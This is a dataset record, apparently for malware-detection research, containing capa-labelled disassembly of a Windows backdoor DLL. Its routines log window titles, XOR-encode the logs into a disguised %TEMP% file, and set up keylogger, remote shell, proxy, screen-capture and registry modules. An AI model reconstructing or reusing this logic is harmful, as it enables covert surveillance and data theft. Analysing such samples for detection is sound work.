joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005650
Capabilities:
Create thread
Get session user name
Query environment variable

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
call fcn.180002564
cmp dword [rax + 8], 0
je 0x180005742
and dword [0x1800248a0], 0
call fcn.180002564
lea rdx, [rsp + 0x48]
lea rcx, [0x180024ac0]
mov dword [rsp + 0x48], 0x104
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x180005698
call qword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.180002564
lea rdx, [0x1800250f0]
lea rcx, [0x1800233fd]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x1800056c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.180002564
lea rdx, [0x180024ee0]
lea rcx, str._TEMP__ver1.wav
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x1800056ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.180002564
lea rdx, [0x1800250f0]
mov rcx, rax
call fcn.180003804
call fcn.180002564
lea rdx, [0x180024ee0]
mov rcx, rax
call fcn.180003804
lea r11, [rbx + 8]
lea r8, [0x180005790]
mov qword [rsp + 0x28], r11
and dword [rsp + 0x20], 0
mov r9, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180005742
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x180005b80
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
xor edi, edi
mov dword [rsp + 0x30], edi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp qword [0x180025300], rax
jne 0x180005baf
cmp dword [0x1800248a0], 0x1f8
jb 0x180005c64
call qword [sym.imp.USER32.dll_GetForegroundWindow]
movsxd r8, dword [0x1800248a0]
lea rdx, [0x1800248b0]
mov qword [0x180025300], rax
mov word [rdx + r8*2], di
cmp r8d, edi
je 0x180005bf1
lea r8, [0x180025310]
lea rcx, [0x180025520]
xor r9d, r9d
call fcn.180005c74
mov rax, qword [0x180025300]
lea rdx, [0x180025520]
mov r8d, 0x104
mov rcx, rax
mov dword [0x1800248a0], edi
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp eax, edi
jne 0x180005c18
mov word [0x180025520], di
mov rcx, qword [0x180025300]
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [0x180025310]
mov r9d, 0x104
mov rcx, rax
xor edx, edx
mov rbx, rax
call sub.PSAPI.DLL_GetModuleFileNameExW
cmp rbx, rdi
je 0x180005c64
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180005c74
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x690
xor r14d, r14d
mov rbx, rcx
mov rsi, r8
mov rbp, rdx
lea rcx, [rax - 0x426]
mov r8d, 0x3fe
xor edx, edx
mov r13d, r9d
mov qword [rsp + 0x78], r14
mov dword [rsp + 0x70], r14d
mov dword [rax + 0x20], r14d
mov word [rax - 0x428], r14w
call fcn.180015710
lea rcx, [rsp + 0x82]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x80], r14w
call fcn.180015710
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
repne scasw ax, word [rdi]
not rcx
lea r12, [rcx - 1]
lea rcx, [rsp + 0x70]
add r12d, r12d
mov edx, r12d
call fcn.180003a78
movzx edx, word [rsp + 0x66]
movzx ecx, word [rsp + 0x60]
movzx eax, word [rsp + 0x62]
movzx edi, word [rsp + 0x6c]
movzx r9d, word [rsp + 0x6a]
movzx r8d, word [rsp + 0x68]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rsi
lea r10, [0x180024ac0]
mov qword [rsp + 0x40], r10
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rdx, str._r_n__02d:_02d:_02d__04d__02d__02d____s___s___s__r_n
lea rcx, [rsp + 0x290]
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r14
mov esi, eax
mov dil, setsockopt
add esi, esi
movsxd rdx, esi
cmp rdx, r14
jle 0x180005d9e
mov al, byte [rsp + rcx + 0x290]
inc rcx
add al, dil
xor al, 0xec
sub al, dil
cmp rcx, rdx
mov byte [rsp + rcx + 0x28f], al
jl 0x180005d80
mov rbx, qword [rsp + 0x78]
movsxd rdx, r12d
cmp rdx, r14
jle 0x180005dc7
mov rcx, rbx
sub rbp, rbx
mov al, byte [rcx + rbp]
add al, dil
xor al, 0xec
sub al, dil
mov byte [rcx], al
inc rcx
sub rdx, 1
jne 0x180005db1
lea rcx, [rsp + 0x80]
lea rdx, [0x180024ee0]
cmp r13d, r14d
jne 0x180005de2
lea rdx, [0x1800250f0]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r9d, r9d
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x80]
lea r8d, [r9 + 1]
mov edx, 0x40000000
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180005e7c
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x180005e73
lea r9, [rsp + 0x6d8]
lea rdx, [rsp + 0x290]
mov r8d, esi
mov rcx, rdi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x6d8]
mov r8d, r12d
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rbx, r14
je 0x180005e89
mov rcx, rbx
call fcn.180003a54
lea r11, [rsp + 0x690]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1800062cc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
xor r14d, r14d
mov rbx, r8
movzx r12d, r9w
mov qword [rax - 0x38], r14
lea r8d, [r14 + 3]
mov r13, rdx
mov dword [rax - 0x40], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov edi, r14d
mov dword [rax + 0x20], r14d
mov dword [rax - 0x48], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000639d
lea r9, [rsp + 0x88]
lea rdx, [rbx + 0x10]
mov r8d, 0x2000
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, r14d
je 0x180006378
mov eax, dword [rsp + 0x88]
cmp eax, r14d
je 0x180006378
mov r8d, 0x7530
mov rdx, rbx
mov rcx, r13
mov word [rbx + 4], r12w
mov word [rbx + 8], ax
mov word [rbx + 0xe], r14w
call fcn.180006c30
mov edi, eax
cmp eax, r14d
je 0x180006321
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800063a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov r8d, 0x7530
mov rdx, rbx
mov rcx, r13
mov word [rbx + 4], r12w
mov word [rbx + 8], r14w
mov word [rbx + 0xe], di
call fcn.180006c30
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180006458
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rdi, rcx
mov ebp, 8
mov rcx, rbp
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x18000648b
lea rax, vtable.CExplorer.0
mov qword [rcx], rax
jmp 0x18000648d
xor ecx, ecx
test rcx, rcx
je 0x18000649e
mov qword [rdi + 0xa30], rcx
mov rax, qword [rcx]
call qword [rax]
mov ecx, 0x50
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x1800064bc
lea rax, vtable.CCmd.0
mov qword [rcx], rax
jmp 0x1800064be
xor ecx, ecx
test rcx, rcx
je 0x1800064cf
mov qword [rdi + 0xa38], rcx
mov rax, qword [rcx]
call qword [rax]
mov ecx, WSAStartup
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x1800064ed
lea rax, vtable.CTelnet.0
mov qword [rcx], rax
jmp 0x1800064ef
xor ecx, ecx
test rcx, rcx
je 0x180006500
mov qword [rdi + 0xa40], rcx
mov rax, qword [rcx]
call qword [rax]
mov ecx, 0x4058
call fcn.18001216c
mov rbx, rax
test rax, rax
je 0x180006528
lea rax, vtable.CProxy.0
lea rcx, [rbx + 0x28]
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x18000652a
xor ebx, ebx
test rbx, rbx
je 0x18000653e
mov qword [rdi + 0xa48], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov rcx, rbp
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x18000655a
lea rax, vtable.CScreen.0
mov qword [rcx], rax
jmp 0x18000655c
xor ecx, ecx
test rcx, rcx
je 0x18000656d
mov qword [rdi + 0xa50], rcx
mov rax, qword [rcx]
call qword [rax]
mov ecx, reloc.WS2_32.dll_recv
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x180006592
and dword [0x1800248a0], 0
lea rax, vtable.CKeyLog.0
mov qword [rcx], rax
jmp 0x180006594
xor ecx, ecx
test rcx, rcx
je 0x1800065a5
mov qword [rdi + 0xa58], rcx
mov rax, qword [rcx]
call qword [rax]
mov rcx, rbp
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x1800065c1
lea rax, vtable.CProcess.0
mov qword [rcx], rax
jmp 0x1800065c3
xor ecx, ecx
test rcx, rcx
je 0x1800065d4
mov qword [rdi + 0xa60], rcx
mov rax, qword [rcx]
call qword [rax]
mov rcx, rbp
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x1800065f0
lea rax, vtable.CService.0
mov qword [rcx], rax
jmp 0x1800065f2
xor ecx, ecx
test rcx, rcx
je 0x180006603
mov qword [rdi + 0xa68], rcx
mov rax, qword [rcx]
call qword [rax]
mov rcx, rbp
call fcn.18001216c
mov rcx, rax
test rax, rax
je 0x18000661f
lea rax, vtable.CRegedit.0
mov qword [rcx], rax
jmp 0x180006621
xor ecx, ecx
test rcx, rcx
je 0x180006632
mov qword [rdi + 0xa70], rcx
mov rax, qword [rcx]
call qword [rax]
call fcn.180002564
cmp dword [rax + 8], 0
jne 0x18000665f
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x1800066c4]
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi], rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x180006708
Capabilities:
Get session information
Get session user name

Disassembly:
mov r11, rsp
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x80
xor r14d, r14d
mov rbp, rcx
lea r9, [r11 - 0x80]
lea edx, [r14 + 0x65]
lea r8d, [r14 + 1]
mov dword [r11 + 0x10], r14d
lea eax, [rdx + 0xb]
lea ecx, [rdx + 0x13]
mov word [rsp + 0x58], dx
mov word [rsp + 0x5c], ax
lea eax, [rdx + 7]
mov word [rsp + 0x64], dx
mov word [rsp + 0x5e], ax
lea eax, [rdx + 0xa]
mov word [rsp + 0x5a], cx
mov word [rsp + 0x60], ax
lea eax, [rdx + 0xd]
mov word [rsp + 0x6a], dx
mov word [rsp + 0x62], ax
mov word [rsp + 0x66], ax
lea eax, [rdx - 0x37]
mov word [rsp + 0x68], ax
mov word [rsp + 0x6c], cx
mov word [rsp + 0x6e], dx
lea rax, [r11 + 0x10]
xor edx, edx
xor ecx, ecx
mov dword [r11 + 0x18], r14d
mov qword [r11 + 0x20], r14
mov qword [r11 - 0x80], r14
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], r14
mov word [r11 - 0x48], r14w
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
cmp eax, r14d
je 0x1800068e2
cmp dword [rsp + 0xc8], r14d
mov esi, r14d
jle 0x1800068e2
mov rdi, r14
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov rax, qword [rdi + rcx]
mov qword [rdx], rax
mov rax, qword [rdi + rcx + 8]
mov qword [rdx + 8], rax
mov rax, qword [rdi + rcx + 0x10]
mov qword [rdx + 0x10], rax
cmp dword [rsp + 0x50], r14d
jne 0x1800068cf
mov r12d, dword [rsp + 0x40]
lea rbx, [r12 + r12*4]
add rbx, rbx
cmp qword [rbp + rbx*8 + 0x10], r14
jne 0x1800068cf
call fcn.180002564
lea r9, [rsp + 0xd8]
lea r8, [rsp + 0x58]
mov rcx, rax
mov edx, r12d
call fcn.180002830
cmp eax, r14d
jne 0x1800068cf
lea rax, [rsp + 0xd0]
lea r9, [rsp + 0x30]
mov r8d, 5
mov edx, r12d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
cmp eax, r14d
je 0x1800068b4
call fcn.180002564
mov r13, qword [rsp + 0xd8]
mov rdx, r13
mov rcx, rax
call fcn.180002dcc
cmp eax, r14d
jne 0x18000689e
mov r8, qword [rsp + 0x30]
lea rcx, [rbp + rbx*8 + 0x18]
lea rdx, [0x18001d4d8]
mov word [rbp + rbx*8 + 0xc], r12w
mov qword [rbp + rbx*8 + 0x10], r13
mov qword [rsp + 0xd8], r14
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x30]
cmp rcx, r14
je 0x1800068cf
call sub.WTSAPI32.dll_WTSFreeMemory
mov qword [rsp + 0x30], r14
jmp 0x1800068cf
mov rcx, qword [rsp + 0xd8]
cmp rcx, r14
je 0x1800068cf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xd8], r14
inc esi
add rdi, 0x18
cmp esi, dword [rsp + 0xc8]
jl 0x1800067c5
lea rbx, [rbp + 0x10]
mov edi, 0x20
mov rcx, qword [rbx]
cmp rcx, r14
je 0x18000691c
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x18000691c
mov rcx, qword [rbx]
cmp rcx, r14
je 0x180006913
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], r14
mov eax, 0xffff
mov word [rbx - 4], ax
add rbx, 0x50
sub rdi, 1
jne 0x1800068eb
xor eax, eax
add rsp, 0x80
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180006d5c
Capabilities:
Check for time delay via gettickcount
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor ebp, ebp
mov rdi, rdx
mov rbx, rcx
cmp r8w, bp
je 0x180006d8c
mov dword [rcx + 0x78], 1
call fcn.180006fd4
jmp 0x180006e07
mov dword [rcx + 0x78], ebp
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov qword [rsp + 0x30], rbp
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rdi
mov dword [rsp + 0x28], 0x40000000
mov dword [rsp + 0x20], 3
mov dword [rbx + 0x78], ebp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x80], rax
cmp rax, 0xffffffffffffffff
jne 0x180006e05
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x180006de2
cmp eax, 0xe7
jne 0x180006e07
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0xbb8
ja 0x180006dfe
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180006d97
mov eax, 0x5b4
jmp 0x180006e07
mov eax, ebp
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180006e1c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
and dword [rsp + 0x40], 0
mov rsi, rcx
mov rcx, qword [rcx + 0x28]
mov ebx, r8d
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsi + 0x80]
lea r11, [rsi + 0x10]
lea r9, [rsp + 0x40]
mov r8d, ebx
mov rdx, rdi
mov qword [rsp + 0x20], r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180006e7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180006e7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180006e7f
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180006e90
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rsi, rcx
mov rcx, qword [rcx + 0x48]
mov ebx, r8d
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsi + 0x80]
lea r11, [rsi + 0x30]
lea r9, [rsp + 0x40]
mov r8d, ebx
mov rdx, rdi
mov qword [rsp + 0x20], r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180006eec
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180006eec
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180006eee
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180006fd4
Capabilities:
Connect pipe
Create pipe

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x60
xor eax, eax
xor edi, edi
mov rbx, rdx
and qword [r11 - 0x28], rdi
mov rsi, rcx
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
mov qword [r11 - 0x10], rax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
and qword [rsp + 0x38], rdi
and dword [rsp + 0x30], edi
mov qword [rsp + 0x58], rax
mov eax, 0x1000
mov r9d, 0xff
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov edx, 0x40000003
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rsi + 0x80], rax
cmp rax, 0xffffffffffffffff
jne 0x180007058
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1800070aa
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x1800070c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp eax, 0x217
jne 0x18000707d
xor edi, edi
jmp 0x1800070c9
cmp eax, 0x3e5
jne 0x1800070aa
mov rcx, qword [rsp + 0x58]
lea edx, [rax + 3]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1800070a8
mov edi, 0x5b4
cmp eax, 0x102
lea ecx, [rdi - 0x65]
cmovne edi, ecx
jmp 0x1800070ae
xor edi, edi
test edi, edi
je 0x1800070c9
mov rcx, qword [rsi + 0x80]
cmp rcx, 0xffffffffffffffff
je 0x1800070c9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or qword [rsi + 0x80], 0xffffffffffffffff
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1800070d9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov eax, edi
add rsp, 0x60
pop rdi
ret

Function at 0x1800070ec
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movzx r9d, word [r8 + 4]
mov rbx, r8
mov rdi, rdx
sub r9d, 0x700
je 0x180007175
mov ecx, 1
cmp r9d, ecx
je 0x18000711e
or eax, 0xffffffff
jmp 0x18000717a
movzx r8d, word [r8 + 0xe]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
cmp rax, rsi
je 0x180007147
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp eax, esi
je 0x180007147
mov word [rbx + 0xe], si
jmp 0x180007151
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov word [rbx + 0xe], ax
mov eax, 0x701
mov r8d, 0x7530
mov rdx, rbx
mov rcx, rdi
mov word [rbx + 8], si
mov word [rbx + 0xe], si
mov word [rbx + 4], ax
call fcn.180006c30
jmp 0x18000717a
call fcn.18000718c
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800074b8
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rdi, rcx
xor ecx, ecx
xor ebp, ebp
mov rax, r8
mov rbx, rdx
mov qword [r11 - 0x20], rcx
mov qword [r11 - 0x18], rcx
mov word [r8 + 8], bp
mov word [r8 + 0xe], bp
mov esi, 0x400
mov rcx, rbx
mov rdx, rax
mov word [r8 + 4], si
mov r8d, 0x7530
mov qword [r11 - 0x28], rbp
call fcn.180006c30
cmp eax, ebp
jne 0x18000765b
lea edx, [rbp + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 8], rbx
lea r8, [0x180007670]
mov qword [rdi + 0x50], rax
mov rcx, qword [rbx + 8]
mov r9, rdi
mov qword [rsp + 0x30], rcx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebp
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x1800078b0]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [rsp + 0x30]
lea ecx, [rbp + 3]
or r9d, 0xffffffff
xor r8d, r8d
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rdi + 0x50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [rsp + 0x38]
cmp rcx, rbp
je 0x1800075be
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x38], rbp
mov rcx, qword [rsp + 0x40]
cmp rcx, rbp
je 0x1800075e1
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], rbp
mov rcx, qword [rsp + 0x30]
mov qword [rdi + 8], rbp
mov qword [rbx + 8], rcx
cmp dword [rdi + 0x20], ebp
je 0x18000760a
mov edx, 0xa
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [rdi + 0x20], ebp
je 0x18000760a
mov rcx, qword [rsp + 0x30]
jmp 0x1800075f3
lea rbx, [rdi + 0x60]
cmp word [rbx - 8], bp
je 0x180007639
cmp qword [rbx], 0xffffffffffffffff
je 0x180007635
mov rcx, qword [rbx]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
or qword [rbx], 0xffffffffffffffff
mov word [rbx - 8], bp
add rbx, 0x10
sub rsi, 1
jne 0x18000760e
mov rcx, qword [rdi + 0x50]
cmp rcx, rbp
je 0x180007656
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 0x50], rbp
mov eax, 0x2746
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1800076f4
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x240
mov rsi, rdx
mov rdi, rcx
lea rdx, [rcx + 0x28]
lea rcx, [rax + 0x18]
call fcn.1800039c0
mov r8d, dword [0x180025730]
xor ebx, ebx
cmp r8d, 0x400
jge 0x180007881
movsxd rcx, r8d
mov rax, rcx
add rax, rax
cmp word [rdi + rax*8 + 0x58], bx
je 0x18000779d
lea rax, [rcx + 6]
add rax, rax
mov rcx, qword [rdi + rax*8]
cmp rcx, 0xffffffffffffffff
je 0x180007811
lea rax, [rsp + 0x250]
mov qword [rsp + 0x38], rcx
lea rdx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x250], ebx
mov dword [rsp + 0x254], ebx
call qword [sym.imp.WS2_32.dll_select]
cmp eax, ebx
jg 0x1800077ac
jl 0x18000780a
mov r8d, dword [0x180025730]
inc r8d
mov dword [0x180025730], r8d
jmp 0x180007723
movsxd rcx, dword [0x180025730]
lea rdx, [rsi + 0x10]
xor r9d, r9d
add rcx, 6
mov r8d, 0x2000
add rcx, rcx
mov rcx, qword [rdi + rcx*8]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, ebx
jle 0x18000780a
mov word [rsi + 8], ax
movsxd rax, dword [0x180025730]
mov ecx, 0x402
mov word [rsi + 4], cx
mov rcx, qword [rsp + 0x260]
add rax, rax
movzx eax, word [rdi + rax*8 + 0x58]
mov word [rsi + 0xe], ax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
jmp 0x18000789a
mov r8d, dword [0x180025730]
mov eax, 0x403
movsxd rdx, r8d
mov word [rsi + 8], bx
mov word [rsi + 4], ax
mov rax, rdx
add rax, rax
movzx eax, word [rdi + rax*8 + 0x58]
mov word [rsi + 0xe], ax
lea rax, [rdx + 6]
add rax, rax
mov rcx, qword [rdi + rax*8]
cmp rcx, 0xffffffffffffffff
je 0x180007877
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
movsxd rcx, dword [0x180025730]
add rcx, 6
add rcx, rcx
mov rcx, qword [rdi + rcx*8]
call qword [sym.imp.WS2_32.dll_closesocket]
movsxd rdx, dword [0x180025730]
lea rax, [rdx + 6]
add rax, rax
or qword [rdi + rax*8], 0xffffffffffffffff
add rdx, rdx
mov word [rdi + rdx*8 + 0x58], bx
jmp 0x18000788a
mov dword [0x180025730], ebx
or ebx, 0xffffffff
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, ebx
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180007c84
Capabilities:
Delete registry key
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movzx r9d, word [r8 + 4]
mov rbx, r8
mov rdi, rdx
sub r9d, 0x900
je 0x180007d33
sub r9d, 1
je 0x180007cf6
sub r9d, 1
je 0x180007cef
sub r9d, 2
je 0x180007cca
cmp r9d, 1
je 0x180007cc3
or eax, 0xffffffff
jmp 0x180007d38
call fcn.180008094
jmp 0x180007d38
movzx ecx, word [r8 + 0xe]
mov eax, 0x80000000
lea rdx, [rbx + 0x14]
or rcx, rax
add r8, 0x21c
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
mov ecx, 0x904
jmp 0x180007d12
call fcn.180007f8c
jmp 0x180007d38
